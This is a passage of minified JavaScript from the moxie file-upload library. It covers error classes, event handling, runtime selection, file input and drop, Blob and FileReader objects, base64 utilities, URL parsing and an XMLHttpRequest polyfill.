null}return{RuntimeError:(a={NOT_INIT_ERR:1,NOT_SUPPORTED_ERR:9,JS_ERR:4},e.extend(d,a),d.prototype=Error.prototype,d),OperationNotAllowedException:(e.extend(l,{NOT_ALLOWED_ERR:1}),l.prototype=Error.prototype,l),ImageError:(s={WRONG_FORMAT:1,MAX_RESOLUTION_ERR:2,INVALID_META_ERR:3},e.extend(c,s),c.prototype=Error.prototype,c),FileException:(o={NOT_FOUND_ERR:1,SECURITY_ERR:2,ABORT_ERR:3,NOT_READABLE_ERR:4,ENCODING_ERR:5,NO_MODIFICATION_ALLOWED_ERR:6,INVALID_STATE_ERR:7,SYNTAX_ERR:8},e.extend(u,o),u.prototype=Error.prototype,u),DOMException:(r={INDEX_SIZE_ERR:1,DOMSTRING_SIZE_ERR:2,HIERARCHY_REQUEST_ERR:3,WRONG_DOCUMENT_ERR:4,INVALID_CHARACTER_ERR:5,NO_DATA_ALLOWED_ERR:6,NO_MODIFICATION_ALLOWED_ERR:7,NOT_FOUND_ERR:8,NOT_SUPPORTED_ERR:9,INUSE_ATTRIBUTE_ERR:10,INVALID_STATE_ERR:11,SYNTAX_ERR:12,INVALID_MODIFICATION_ERR:13,NAMESPACE_ERR:14,INVALID_ACCESS_ERR:15,VALIDATION_ERR:16,TYPE_MISMATCH_ERR:17,SECURITY_ERR:18,NETWORK_ERR:19,ABORT_ERR:20,URL_MISMATCH_ERR:21,QUOTA_EXCEEDED_ERR:22,TIMEOUT_ERR:23,INVALID_NODE_TYPE_ERR:24,DATA_CLONE_ERR:25},e.extend(n,r),n.prototype=Error.prototype,n),EventException:(e.extend(i,{UNSPECIFIED_EVENT_TYPE_ERR:0}),i.prototype=Error.prototype,i)};function i(e){this.code=e,this.name="EventException"}function n(e){this.code=e,this.name=t(r,e),this.message=this.name+": DOMException "+this.code}var r,o,s,a;function u(e){this.code=e,this.name=t(o,e),this.message=this.name+": FileException "+this.code}function c(e){this.code=e,this.name=t(s,e),this.message=this.name+": ImageError "+this.code}function l(e){this.code=e,this.name="OperationNotAllowedException"}function d(e){this.code=e,this.name=t(a,e),this.message=this.name+": RuntimeError "+this.code}}),e("moxie/core/EventTarget",["moxie/core/utils/Env","moxie/core/Exceptions","moxie/core/utils/Basic"],function(c,l,d){function e(){var u={};d.extend(this,{uid:null,init:function(){this.uid||(this.uid=d.guid("uid_"))},addEventListener:function(e,t,i,n){var r,o=this;this.hasOwnProperty("uid")||(this.uid=d.guid("uid_")),e=d.trim(e),/\s/.test(e)?d.each(e.split(/\s+/),function(e){o.addEventListener(e,t,i,n)}):(e=e.toLowerCase(),i=parseInt(i,10)||0,(r=u[this.uid]&&u[this.uid][e]||[]).push({fn:t,priority:i,scope:n||this}),u[this.uid]||(u[this.uid]={}),u[this.uid][e]=r)},hasEventListener:function(e){e=e?u[this.uid]&&u[this.uid][e]:u[this.uid];return e||!1},removeEventListener:function(e,t){e=e.toLowerCase();var i,n=u[this.uid]&&u[this.uid][e];if(n){if(t){for(i=n.length-1;0<=i;i--)if(n[i].fn===t){n.splice(i,1);break}}else n=[];n.length||(delete u[this.uid][e],d.isEmptyObj(u[this.uid])&&delete u[this.uid])}},removeAllEventListeners:function(){u[this.uid]&&delete u[this.uid]},dispatchEvent:function(e){var t,i,n,r,o,s={},a=!0;if("string"!==d.typeOf(e)){if(r=e,"string"!==d.typeOf(r.type))throw new l.EventException(l.EventException.UNSPECIFIED_EVENT_TYPE_ERR);e=r.type,void 0!==r.total&&void 0!==r.loaded&&(s.total=r.total,s.loaded=r.loaded),s.async=r.async||!1}return-1!==e.indexOf("::")?(r=e.split("::"),t=r[0],e=r[1]):t=this.uid,e=e.toLowerCase(),(i=u[t]&&u[t][e])&&(i.sort(function(e,t){return t.priority-e.priority}),(n=[].slice.call(arguments)).shift(),s.type=e,n.unshift(s),MXI_DEBUG&&c.debug.events&&c.log("Event '%s' fired on %u",s.type,t),o=[],d.each(i,function(t){n[0].target=t.scope,s.async?o.push(function(e){setTimeout(function(){e(!1===t.fn.apply(t.scope,n))},1)}):o.push(function(e){e(!1===t.fn.apply(t.scope,n))})}),o.length&&d.inSeries(o,function(e){a=!e})),a},bind:function(){this.addEventListener.apply(this,arguments)},unbind:function(){this.removeEventListener.apply(this,arguments)},unbindAll:function(){this.removeAllEventListeners.apply(this,arguments)},trigger:function(){return this.dispatchEvent.apply(this,arguments)},handleEventProps:function(e){var t=this;this.bind(e.join(" "),function(e){e="on"+e.type.toLowerCase();"function"===d.typeOf(this[e])&&this[e].apply(this,arguments)}),d.each(e,function(e){e="on"+e.toLowerCase(e),"undefined"===d.typeOf(t[e])&&(t[e]=null)})}})}return e.instance=new e,e}),e("moxie/runtime/Runtime",["moxie/core/utils/Env","moxie/core/utils/Basic","moxie/core/utils/Dom","moxie/core/EventTarget"],function(c,l,d,i){var n={},m={};function h(e,t,r,i,n){var o,s,a=this,u=l.guid(t+"_"),n=n||"browser";e=e||{},m[u]=this,r=l.extend({access_binary:!1,access_image_binary:!1,display_media:!1,do_cors:!1,drag_and_drop:!1,filter_by_extension:!0,resize_image:!1,report_upload_progress:!1,return_response_headers:!1,return_response_type:!1,return_status_code:!0,send_custom_headers:!1,select_file:!1,select_folder:!1,select_multiple:!0,send_binary_string:!1,send_browser_cookies:!0,send_multipart:!0,slice_blob:!1,stream_upload:!1,summon_file_dialog:!1,upload_filesize:!0,use_http_method:!0},r),e.preferred_caps&&(n=h.getMode(i,e.preferred_caps,n)),MXI_DEBUG&&c.debug.runtime&&c.log("\tdefault mode: %s",n),s={},o={exec:function(e,t,i,n){if(o[t]&&(s[e]||(s[e]={context:this,instance:new o[t]}),s[e].instance[i]))return s[e].instance[i].apply(this,n)},removeInstance:function(e){delete s[e]},removeAllInstances:function(){var i=this;l.each(s,function(e,t){"function"===l.typeOf(e.instance.destroy)&&e.instance.destroy.call(e.context),i.removeInstance(t)})}},l.extend(this,{initialized:!1,uid:u,type:t,mode:h.getMode(i,e.required_caps,n),shimid:u+"_container",clients:0,options:e,can:function(e,t){var i,n=arguments[2]||r;if("string"===l.typeOf(e)&&"undefined"===l.typeOf(t)&&(e=h.parseCaps(e)),"object"!==l.typeOf(e))return"function"===l.typeOf(n[e])?n[e].call(this,t):t===n[e];for(i in e)if(!this.can(i,e[i],n))return!1;return!0},getShimContainer:function(){var e,t=d.get(this.shimid);return t||(e=this.options.container?d.get(this.options.container):document.body,(t=document.createElement("div")).id=this.shimid,t.className="moxie-shim moxie-shim-"+this.type,l.extend(t.style,{position:"absolute",top:"0px",left:"0px",width:"1px",height:"1px",overflow:"hidden"}),e.appendChild(t),e=null),t},getShim:function(){return o},shimExec:function(e,t){var i=[].slice.call(arguments,2);return a.getShim().exec.call(this,this.uid,e,t,i)},exec:function(e,t){var i=[].slice.call(arguments,2);return a[e]&&a[e][t]?a[e][t].apply(this,i):a.shimExec.apply(this,arguments)},destroy:function(){var e;a&&((e=d.get(this.shimid))&&e.parentNode.removeChild(e),o&&o.removeAllInstances(),this.unbindAll(),delete m[this.uid],this.uid=null,a=o=null)}}),this.mode&&e.required_caps&&!this.can(e.required_caps)&&(this.mode=!1)}return h.order="html5,html4",h.getRuntime=function(e){return m[e]||!1},h.addConstructor=function(e,t){t.prototype=i.instance,n[e]=t},h.getConstructor=function(e){return n[e]||null},h.getInfo=function(e){var t=h.getRuntime(e);return t?{uid:t.uid,type:t.type,mode:t.mode,can:function(){return t.can.apply(t,arguments)}}:null},h.parseCaps=function(e){var t={};return"string"!==l.typeOf(e)?e||{}:(l.each(e.split(","),function(e){t[e]=!0}),t)},h.can=function(e,t){var e=h.getConstructor(e);return!!e&&(t=(e=new e({required_caps:t})).mode,e.destroy(),!!t)},h.thatCan=function(e,t){var i,n=(t||h.order).split(/\s*,\s*/);for(i in n)if(h.can(n[i],e))return n[i];return null},h.getMode=function(n,e,t){var r=null;if("undefined"===l.typeOf(t)&&(t="browser"),e&&!l.isEmptyObj(n)){if(l.each(e,function(e,t){if(n.hasOwnProperty(t)){var i=n[t](e);if("string"==typeof i&&(i=[i]),r){if(!(r=l.arrayIntersect(r,i)))return MXI_DEBUG&&c.debug.runtime&&c.log("\t\t%c: %v (conflicting mode requested: %s)",t,e,i),r=!1}else r=i}MXI_DEBUG&&c.debug.runtime&&c.log("\t\t%c: %v (compatible modes: %s)",t,e,r)}),r)return-1!==l.inArray(t,r)?t:r[0];if(!1===r)return!1}return t},h.capTrue=function(){return!0},h.capFalse=function(){return!1},h.capTest=function(e){return function(){return!!e}},h}),e("moxie/runtime/RuntimeClient",["moxie/core/utils/Env","moxie/core/Exceptions","moxie/core/utils/Basic","moxie/runtime/Runtime"],function(a,u,t,c){return function(){var s;t.extend(this,{connectRuntime:function(r){var e,o=this;if("string"===t.typeOf(r)?e=r:"string"===t.typeOf(r.ruid)&&(e=r.ruid),e){if(s=c.getRuntime(e))return s.clients++,s;throw new u.RuntimeError(u.RuntimeError.NOT_INIT_ERR)}!function e(t){var i,n;if(!t.length)return o.trigger("RuntimeError",new u.RuntimeError(u.RuntimeError.NOT_INIT_ERR)),void(s=null);i=t.shift().toLowerCase(),(n=c.getConstructor(i))?(MXI_DEBUG&&a.debug.runtime&&(a.log("Trying runtime: %s",i),a.log(r)),(s=new n(r)).bind("Init",function(){s.initialized=!0,MXI_DEBUG&&a.debug.runtime&&a.log("Runtime '%s' initialized",s.type),setTimeout(function(){s.clients++,o.trigger("RuntimeInit",s)},1)}),s.bind("Error",function(){MXI_DEBUG&&a.debug.runtime&&a.log("Runtime '%s' failed to initialize",s.type),s.destroy(),e(t)}),MXI_DEBUG&&a.debug.runtime&&a.log("\tselected mode: %s",s.mode),s.mode?s.init():s.trigger("Error")):e(t)}((r.runtime_order||c.order).split(/\s*,\s*/))},disconnectRuntime:function(){s&&--s.clients<=0&&s.destroy(),s=null},getRuntime:function(){return s&&s.uid?s:s=null},exec:function(){return s?s.exec.apply(this,arguments):null}})}}),e("moxie/file/FileInput",["moxie/core/utils/Basic","moxie/core/utils/Env","moxie/core/utils/Mime","moxie/core/utils/Dom","moxie/core/Exceptions","moxie/core/EventTarget","moxie/core/I18n","moxie/runtime/Runtime","moxie/runtime/RuntimeClient"],function(o,i,n,s,a,e,u,c,l){var d=["ready","change","cancel","mouseenter","mouseleave","mousedown","mouseup"];function t(r){MXI_DEBUG&&i.log("Instantiating FileInput...");var e,t=this;if(-1!==o.inArray(o.typeOf(r),["string","node"])&&(r={browse_button:r}),!(e=s.get(r.browse_button)))throw new a.DOMException(a.DOMException.NOT_FOUND_ERR);e={accept:[{title:u.translate("All Files"),extensions:"*"}],name:"file",multiple:!1,required_caps:!1,container:e.parentNode||document.body},"string"==typeof(r=o.extend({},e,r)).required_caps&&(r.required_caps=c.parseCaps(r.required_caps)),"string"==typeof r.accept&&(r.accept=n.mimes2extList(r.accept)),e=(e=s.get(r.container))||document.body,"static"===s.getStyle(e,"position")&&(e.style.position="relative"),e=null,l.call(t),o.extend(t,{uid:o.guid("uid_"),ruid:null,shimid:null,files:null,init:function(){t.bind("RuntimeInit",function(e,n){t.ruid=n.uid,t.shimid=n.shimid,t.bind("Ready",function(){t.trigger("Refresh")},999),t.bind("Refresh",function(){var e,t=s.get(r.browse_button),i=s.get(n.shimid);t&&(e=s.getPos(t,s.get(r.container)),t=s.getSize(t),i&&o.extend(i.style,{top:e.y+"px",left:e.x+"px",width:t.w+"px",height:t.h+"px"}))}),n.exec.call(t,"FileInput","init",r)}),t.connectRuntime(o.extend({},r,{required_caps:{select_file:!0}}))},disable:function(e){var t=this.getRuntime();t&&t.exec.call(this,"FileInput","disable","undefined"===o.typeOf(e)||e)},refresh:function(){t.trigger("Refresh")},destroy:function(){var e=this.getRuntime();e&&(e.exec.call(this,"FileInput","destroy"),this.disconnectRuntime()),"array"===o.typeOf(this.files)&&o.each(this.files,function(e){e.destroy()}),this.files=null,this.unbindAll()}}),this.handleEventProps(d)}return t.prototype=e.instance,t}),e("moxie/core/utils/Encode",[],function(){function d(e){return unescape(encodeURIComponent(e))}function m(e){return decodeURIComponent(escape(e))}return{utf8_encode:d,utf8_decode:m,atob:function(e,t){if("function"==typeof window.atob)return t?m(window.atob(e)):window.atob(e);var i,n,r,o,s,a,u="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",c=0,l=0,d=[];if(!e)return e;for(e+="";i=(s=u.indexOf(e.charAt(c++))<<18|u.indexOf(e.charAt(c++))<<12|(r=u.indexOf(e.charAt(c++)))<<6|(o=u.indexOf(e.charAt(c++))))>>16&255,n=s>>8&255,s=255&s,d[l++]=64==r?String.fromCharCode(i):64==o?String.fromCharCode(i,n):String.fromCharCode(i,n,s),c<e.length;);return a=d.join(""),t?m(a):a},btoa:function(e,t){if(t&&(e=d(e)),"function"==typeof window.btoa)return window.btoa(e);var i,n,r,o,s="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",a=0,u=0,t="",c=[];if(!e)return e;for(;i=(o=e.charCodeAt(a++)<<16|e.charCodeAt(a++)<<8|e.charCodeAt(a++))>>12&63,n=o>>6&63,r=63&o,c[u++]=s.charAt(o>>18&63)+s.charAt(i)+s.charAt(n)+s.charAt(r),a<e.length;);var t=c.join(""),l=e.length%3;return(l?t.slice(0,l-3):t)+"===".slice(l||3)}}}),e("moxie/file/Blob",["moxie/core/utils/Basic","moxie/core/utils/Encode","moxie/runtime/RuntimeClient"],function(o,i,n){var s={};return function r(e,t){n.call(this),e&&this.connectRuntime(e),t?"string"===o.typeOf(t)&&(t={data:t}):t={},o.extend(this,{uid:t.uid||o.guid("uid_"),ruid:e,size:t.size||0,type:t.type||"",slice:function(e,t,i){return this.isDetached()?function(e,t,i){var n=s[this.uid];return"string"===o.typeOf(n)&&n.length?((i=new r(null,{type:i,size:t-e})).detach(n.substr(e,i.size)),i):null}.apply(this,arguments):this.getRuntime().exec.call(this,"Blob","slice",this.getSource(),e,t,i)},getSource:function(){return s[this.uid]||null},detach:function(e){var t;this.ruid&&(this.getRuntime().exec.call(this,"Blob","destroy"),this.disconnectRuntime(),this.ruid=null),"data:"==(e=e||"").substr(0,5)&&(t=e.indexOf(";base64,"),this.type=e.substring(5,t),e=i.atob(e.substring(t+8))),this.size=e.length,s[this.uid]=e},isDetached:function(){return!this.ruid&&"string"===o.typeOf(s[this.uid])},destroy:function(){this.detach(),delete s[this.uid]}}),t.data?this.detach(t.data):s[this.uid]=t}}),e("moxie/file/File",["moxie/core/utils/Basic","moxie/core/utils/Mime","moxie/file/Blob"],function(r,o,s){function e(e,t){var i,n;t=t||{},s.apply(this,arguments),this.type||(this.type=o.getFileMime(t.name)),t.name?n=(n=t.name.replace(/\\/g,"/")).substr(n.lastIndexOf("/")+1):this.type&&(i=this.type.split("/")[0],n=r.guid((""!==i?i:"file")+"_"),o.extensions[this.type]&&(n+="."+o.extensions[this.type][0])),r.extend(this,{name:n||r.guid("file_"),relativePath:"",lastModifiedDate:t.lastModifiedDate||(new Date).toLocaleString()})}return e.prototype=s.prototype,e}),e("moxie/file/FileDrop",["moxie/core/I18n","moxie/core/utils/Dom","moxie/core/Exceptions","moxie/core/utils/Basic","moxie/core/utils/Env","moxie/file/File","moxie/runtime/RuntimeClient","moxie/core/EventTarget","moxie/core/utils/Mime"],function(t,r,e,o,s,i,a,n,u){var c=["ready","dragenter","dragleave","drop","error"];function l(i){MXI_DEBUG&&s.log("Instantiating FileDrop...");var e,n=this;"string"==typeof i&&(i={drop_zone:i}),e={accept:[{title:t.translate("All Files"),extensions:"*"}],required_caps:{drag_and_drop:!0}},(i="object"==typeof i?o.extend({},e,i):e).container=r.get(i.drop_zone)||document.body,"static"===r.getStyle(i.container,"position")&&(i.container.style.position="relative"),"string"==typeof i.accept&&(i.accept=u.mimes2extList(i.accept)),a.call(n),o.extend(n,{uid:o.guid("uid_"),ruid:null,files:null,init:function(){n.bind("RuntimeInit",function(e,t){n.ruid=t.uid,t.exec.call(n,"FileDrop","init",i),n.dispatchEvent("ready")}),n.connectRuntime(i)},destroy:function(){var e=this.getRuntime();e&&(e.exec.call(this,"FileDrop","destroy"),this.disconnectRuntime()),this.files=null,this.unbindAll()}}),this.handleEventProps(c)}return l.prototype=n.instance,l}),e("moxie/file/FileReader",["moxie/core/utils/Basic","moxie/core/utils/Encode","moxie/core/Exceptions","moxie/core/EventTarget","moxie/file/Blob","moxie/runtime/RuntimeClient"],function(e,n,r,t,o,i){var s=["loadstart","progress","load","abort","error","loadend"];function a(){function t(e,t){if(this.trigger("loadstart"),this.readyState===a.LOADING)return this.trigger("error",new r.DOMException(r.DOMException.INVALID_STATE_ERR)),void this.trigger("loadend");if(!(t instanceof o))return this.trigger("error",new r.DOMException(r.DOMException.NOT_FOUND_ERR)),void this.trigger("loadend");if(this.result=null,this.readyState=a.LOADING,t.isDetached()){var i=t.getSource();switch(e){case"readAsText":case"readAsBinaryString":this.result=i;break;case"readAsDataURL":this.result="data:"+t.type+";base64,"+n.btoa(i)}this.readyState=a.DONE,this.trigger("load"),this.trigger("loadend")}else this.connectRuntime(t.ruid),this.exec("FileReader","read",e,t)}i.call(this),e.extend(this,{uid:e.guid("uid_"),readyState:a.EMPTY,result:null,error:null,readAsBinaryString:function(e){t.call(this,"readAsBinaryString",e)},readAsDataURL:function(e){t.call(this,"readAsDataURL",e)},readAsText:function(e){t.call(this,"readAsText",e)},abort:function(){this.result=null,-1===e.inArray(this.readyState,[a.EMPTY,a.DONE])&&(this.readyState===a.LOADING&&(this.readyState=a.DONE),this.exec("FileReader","abort"),this.trigger("abort"),this.trigger("loadend"))},destroy:function(){this.abort(),this.exec("FileReader","destroy"),this.disconnectRuntime(),this.unbindAll()}}),this.handleEventProps(s),this.bind("Error",function(e,t){this.readyState=a.DONE,this.error=t},999),this.bind("Load",function(e){this.readyState=a.DONE},999)}return a.EMPTY=0,a.LOADING=1,a.DONE=2,a.prototype=t.instance,a}),e("moxie/core/utils/Url",[],function(){function s(e,t){for(var i=["source","scheme","authority","userInfo","user","pass","host","port","relative","path","directory","file","query","fragment"],n=i.length,r={},o=/^(?:([^:\/?#]+):)?(?:\/\/()(?:(?:()(?:([^:@\/]*):?([^:@\/]*))?@)?([^:\/?#]*)(?::(\d*))?))?()(?:(()(?:(?:[^?#\/]*\/)*)()(?:[^?#]*))(?:\\?([^#]*))?(?:#(.*))?)/.exec(e||"");n--;)o[n]&&(r[i[n]]=o[n]);return r.scheme||(t&&"string"!=typeof t||(t=s(t||document.location.href)),r.scheme=t.scheme,r.host=t.host,r.port=t.port,e="",/^[^\/]/.test(r.path)&&(e=t.path,e=/\/[^\/]*\.[^\/]*$/.test(e)?e.replace(/\/[^\/]+$/,"/"):e.replace(/\/?$/,"/")),r.path=e+(r.path||"")),r.port||(r.port={http:80,https:443}[r.scheme]||80),r.port=parseInt(r.port,10),r.path||(r.path="/"),delete r.source,r}return{parseUrl:s,resolveUrl:function(e){e="object"==typeof e?e:s(e);return e.scheme+"://"+e.host+(e.port!=={http:80,https:443}[e.scheme]?":"+e.port:"")+e.path+(e.query||"")},hasSameOrigin:function(e){function t(e){return[e.scheme,e.host,e.port].join("/")}return"string"==typeof e&&(e=s(e)),t(s())===t(e)}}}),e("moxie/runtime/RuntimeTarget",["moxie/core/utils/Basic","moxie/runtime/RuntimeClient","moxie/core/EventTarget"],function(e,t,i){function n(){this.uid=e.guid("uid_"),t.call(this),this.destroy=function(){this.disconnectRuntime(),this.unbindAll()}}return n.prototype=i.instance,n}),e("moxie/file/FileReaderSync",["moxie/core/utils/Basic","moxie/runtime/RuntimeClient","moxie/core/utils/Encode"],function(e,i,a){return function(){function t(e,t){var i;if(!t.isDetached())return i=this.connectRuntime(t.ruid).exec.call(this,"FileReaderSync","read",e,t),this.disconnectRuntime(),i;var n=t.getSource();switch(e){case"readAsBinaryString":return n;case"readAsDataURL":return"data:"+t.type+";base64,"+a.btoa(n);case"readAsText":for(var r="",o=0,s=n.length;o<s;o++)r+=String.fromCharCode(n[o]);return r}}i.call(this),e.extend(this,{uid:e.guid("uid_"),readAsBinaryString:function(e){return t.call(this,"readAsBinaryString",e)},readAsDataURL:function(e){return t.call(this,"readAsDataURL",e)},readAsText:function(e){return t.call(this,"readAsText",e)}})}}),e("moxie/xhr/FormData",["moxie/core/Exceptions","moxie/core/utils/Basic","moxie/file/Blob"],function(e,s,a){return function(){var r,o=[];s.extend(this,{append:function(i,e){var n=this,t=s.typeOf(e);e instanceof a?r={name:i,value:e}:"array"===t?(i+="[]",s.each(e,function(e){n.append(i,e)})):"object"===t?s.each(e,function(e,t){n.append(i+"["+t+"]",e)}):"null"===t||"undefined"===t||"number"===t&&isNaN(e)?n.append(i,"false"):o.push({name:i,value:e.toString()})},hasBlob:function(){return!!this.getBlob()},getBlob:function(){return r&&r.value||null},getBlobName:function(){return r&&r.name||null},each:function(t){s.each(o,function(e){t(e.value,e.name)}),r&&t(r.value,r.name)},destroy:function(){r=null,o=[]}})}}),e("moxie/xhr/XMLHttpRequest",["moxie/core/utils/Basic","moxie/core/Exceptions","moxie/core/EventTarget","moxie/core/utils/Encode","moxie/core/utils/Url","moxie/runtime/Runtime","moxie/runtime/RuntimeTarget","moxie/file/Blob","moxie/file/FileReaderSync","moxie/xhr/FormData","moxie/core/utils/Env","moxie/core/utils/Mime"],function(_,b,e,A,I,T,S,r,t,O,D,N){var C={100:"Continue",101:"Switching Protocols",102:"Processing",200:"OK",201:"Created",202:"Accepted",203:"Non-Authoritative Information",204:"No Content",205:"Reset Content",206:"Partial Content",207:"Multi-Status",226:"IM Used",300:"Multiple Choices",301:"Moved Permanently",302:"Found",303:"See Other",304:"Not Modified",305:"Use Proxy",306:"Reserved",307:"Temporary Redirect",400:"Bad Request",401:"Unauthorized",402:"Payment Required",403:"Forbidden",404:"Not Found",405:"Method Not Allowed",406:"Not Acceptable",407:"Proxy Authentication Required",408:"Request Timeout",409:"Conflict",410:"Gone",411:"Length Required",412:"Precondition Failed",413:"Request Entity Too Large",414:"Request-URI Too Long",415:"Unsupported Media Type",416:"Requested Range Not Satisfiable",417:"Expectation Failed",422:"Unprocessable Entity",423:"Locked",424:"Failed Dependency",426:"Upgrade Required",500:"Internal Server Error",501:"Not Implemented",502:"Bad Gateway",503:"Service Unavailable",504:"Gateway Timeout",505:"HTTP Version Not Supported",506:"Variant Also Negotiates",507:"Insufficient Storage",510:"Not Extended"};function M(){this.uid=_.guid("uid_")}M.prototype=e.instance;var L=["loadstart","progress","abort","error","load","timeout","loadend"];function F(){var o,s,a,u,c,t,i=this,n={timeout:0,readyState:F.UNSENT,withCredentials:!1,status:0,statusText:"",responseType:"",responseXML:null,responseText:null,response:null},l=!0,d={},m=null,h=null,f=!1,p=!1,g=!1,x=!1,E=!1,y=!1,w={},v="";function R(e,t){if(n.hasOwnProperty(e))return 1===arguments.length?(D.can("define_property")?n:i)[e]:void(D.can("define_property")?n[e]=t:i[e]=t)}_.extend(this,n,{uid:_.guid("uid_"),upload:new M,open:function(e,t,i,n,r){if(!e||!t)throw new b.DOMException(b.DOMException.SYNTAX_ERR);if(/[\u0100-\uffff]/.test(e)||A.utf8_encode(e)!==e)throw new b.DOMException(b.DOMException.SYNTAX_ERR);if(~_.inArray(e.toUpperCase(),["CONNECT","DELETE","GET","HEAD","OPTIONS","POST","PUT","TRACE","TRACK"])&&(s=e.toUpperCase()),~_.inArray(s,["CONNECT","TRACE","TRACK"]))throw new b.DOMException(b.DOMException.SECURITY_ERR);if(t=A.utf8_encode(t),e=I.parseUrl(t),y=I.hasSameOrigin(e),o=I.resolveUrl(t),(n||r)&&!y)throw new b.DOMException(b.DOMException.INVALID_ACCESS_ERR);if(a=n||e.user,u=r||e.pass,!1===(l=i||!0)&&(R("timeout")||R("withCredentials")||""!==R("responseType")))throw new b.DOMException(b.DOMException.INVALID_ACCESS_ERR);f=!l,p=!1,d={},function(){R("responseText",""),R("responseXML",null),R("response",null),R("status",0),R("statusText",""),0}.call(this),R("readyState",F.OPENED),this.dispatchEvent("readystatechange")},setRequestHeader:function(e,t){if(R("readyState")!==F.OPENED||p)throw new b.DOMException(b.DOMException.INVALID_STATE_ERR);if(/[\u0100-\uffff]/.test(e)||A.utf8_encode(e)!==e)throw new b.DOMException(b.DOMException.SYNTAX_ERR);return e=_.trim(e).toLowerCase(),!~_.inArray(e,["accept-charset","accept-encoding","access-control-request-headers","access-control-request-method","connection","content-length","cookie","cookie2","content-transfer-encoding","date","expect","host","keep-alive","origin","referer","te","trailer","transfer-encoding","upgrade","user-agent","via"])&&!/^(proxy\-|sec\-)/.test(e)&&(d[e]?d[e]+=", "+t:d[e]=t,!0)},getAllResponseHeaders:function(){return v||""},getResponseHeader:function(e){return e=e.toLowerCase(),!E&&!~_.inArray(e,["set-cookie","set-cookie2"])&&v&&""!==v&&(t||(t={},_.each(v.split(/\r\n/),function(e){e=e.split(/:\s+/);2===e.length&&(e[0]=_.trim(e[0]),t[e[0].toLowerCase()]={header:e[0],value:_.trim(e[1])})})),t.hasOwnProperty(e))?t[e].header+": "+t[e].value:null},overrideMimeType:function(e){var t,i;if(~_.inArray(R("readyState"),[F.LOADING,F.DONE]))throw new b.DOMException(b.DOMException.INVALID_STATE_ERR);if(e=_.trim(e.toLowerCase()),/;/.test(e)&&(t=e.match(/^([^;]+)(?:;\scharset\=)?(.*)$/))&&(e=t[1],t[2]&&(i=t[2])),!N.mimes[e])throw new b.DOMException(b.DOMException.SYNTAX_ERR);0},send:function(e,t){if(w="string"===_.typeOf(t)?{ruid:t}:t||{},this.readyState!==F.OPENED||p)throw new b.DOMException(b.DOMException.INVALID_STATE_ERR);e instanceof r?(w.ruid=e.ruid,h=e.type||"application/octet-stream"):e instanceof O?e.hasBlob()&&(t=e.getBlob(),w.ruid=t.ruid,h=t.type||"application/octet-stream"):"string"==typeof e&&(m="UTF-8",h="text/plain;charset=UTF-8",e=A.utf8_encode(e)),this.withCredentials||(this.withCredentials=w.required_caps&&w.required_caps.send_browser_cookies&&!y),g=!f&&this.upload.hasEventListener(),E=!1,x=!e,f||(p=!0),function(e){var i=this;function n(){c&&(c.destroy(),c=null),i.dispatchEvent("loadend"),i=null}function r(t){c.bind("LoadStart",function(e){R("readyState",F.LOADING),i.dispatchEvent("readystatechange"),i.dispatchEvent(e),g&&i.upload.dispatchEvent(e)}),c.bind("Progress",function(e){R("readyState")!==F.LOADING&&(R("readyState",F.LOADING),i.dispatchEvent("readystatechange")),i.dispatchEvent(e)}),c.bind("UploadProgress",function(e){g&&i.upload.dispatchEvent({type:"progress",lengthComputable:!1,total:e.total,loaded:e.loaded})}),c.bind("Load",function(e){R("readyState",F.DONE),R("status",Number(t.exec.call(c,"XMLHttpRequest","getStatus")||0)),R("statusText",C[R("status")]||""),R("response",t.exec.call(c,"XMLHttpRequest","getResponse",R("responseType"))),~_.inArray(R("responseType"),["text",""])?R("responseText",R("response")):"document"===R("responseType")&&R("responseXML",R("response")),v=t.exec.call(c,"XMLHttpRequest","getAllResponseHeaders"),i.dispatchEvent("readystatechange"),0<R("status")?(g&&i.upload.dispatchEvent(e),i.dispatchEvent(e)):(E=!0,i.dispatchEvent("error")),n()}),c.bind("Abort",function(e){i.dispatchEvent(e),n()}),c.bind("Error",function(e){E=!0,R("readyState",F.DONE),i.dispatchEvent("readystatechange"),x=!0,i.dispatchEvent(e),n()}),t.exec.call(c,"XMLHttpRequest","send",{url:o,method:s,async:l,user:a,password:u,headers:d,mimeType:h,encoding:m,responseType:i.responseType,withCredentials:i.withCredentials,options:w},e)}(new Date).getTime(),c=new S,"string"==typeof w.required_caps&&(w.required_caps=T.parseCaps(w.required_caps));w.required_caps=_.extend({},w.required_caps,{return_response_type:i.responseType}),e instanceof O&&(w.required_caps.send_multipart=!0);_.isEmptyObj(d)||(w.required_caps.send_custom_headers=!0);y||(w.required_caps.do_cors=!0);w.ruid?r(c.connectRuntime(w)):(c.bind("RuntimeInit",function(e,t){r(t)}),c.bind("RuntimeError",function(e,t){i.dispatchEvent("RuntimeError",t)}),c.connectRuntime(w))}.call(this,e)},abort:function(){if(f=!(E=!0),~_.inArray(R("readyState"),[F.UNSENT,F.OPENED,F.DONE]))R("readyState",F.UNSENT);else{if(R("readyState",F.DONE),p=!1,!c)throw new b.DOMException(b.DOMException.INVALID_STATE_ERR);c.getRuntime().exec.call(c,"XMLHttpRequest","abort",x),x=!0}},destroy:function(){c&&("function"===_.typeOf(c.destroy)&&c.destroy(),c=null),this.unbindAll(),this.upload&&(this.upload.unbindAll(),this.upload=null)}}),this.handleEventProps(L.concat(["readystatechange"])),this.upload.handleEventProps(L)}return F.UNSENT=0,F.OPENED=1,F.HEADERS_RECEIVED=2,F.LOADING=3,F.DONE=4,F.prototype=e.instance,F}),e("moxie/runtime/Transporter",["moxie/core/utils/Basic","moxie/core/utils/Encode","moxie/runtime/RuntimeClient","moxie/core/EventTarget"],function(m,t,e,i){function h(){var o,n,s,a,r,u;function c(){a=r=0,s=this.result=null}function l(e,t){var i=this;n=t,i.bind("TransportingProgress",function(e){(r=e.loaded)<a&&-1===m.inArray(i.state,[h.IDLE,h.DONE])&&d.call(i)},999),i.bind("TransportingComplete",function(){r=a,i.state=h.DONE,s=null,i.result=n.exec.call(i,"Transporter","getAsBlob",e||"")},999),i.state=h.BUSY,i.trigger("TransportingStarted"),d.call(i)}function d(){var e=a-r;e<u&&(u=e),e=t.btoa(s.substr(r,u)),n.exec.call(this,"Transporter","receive",e,a)}e.call(this),m.extend(this,{uid:m.guid("uid_"),state:h.IDLE,result:null,transport:function(e,i,t){var 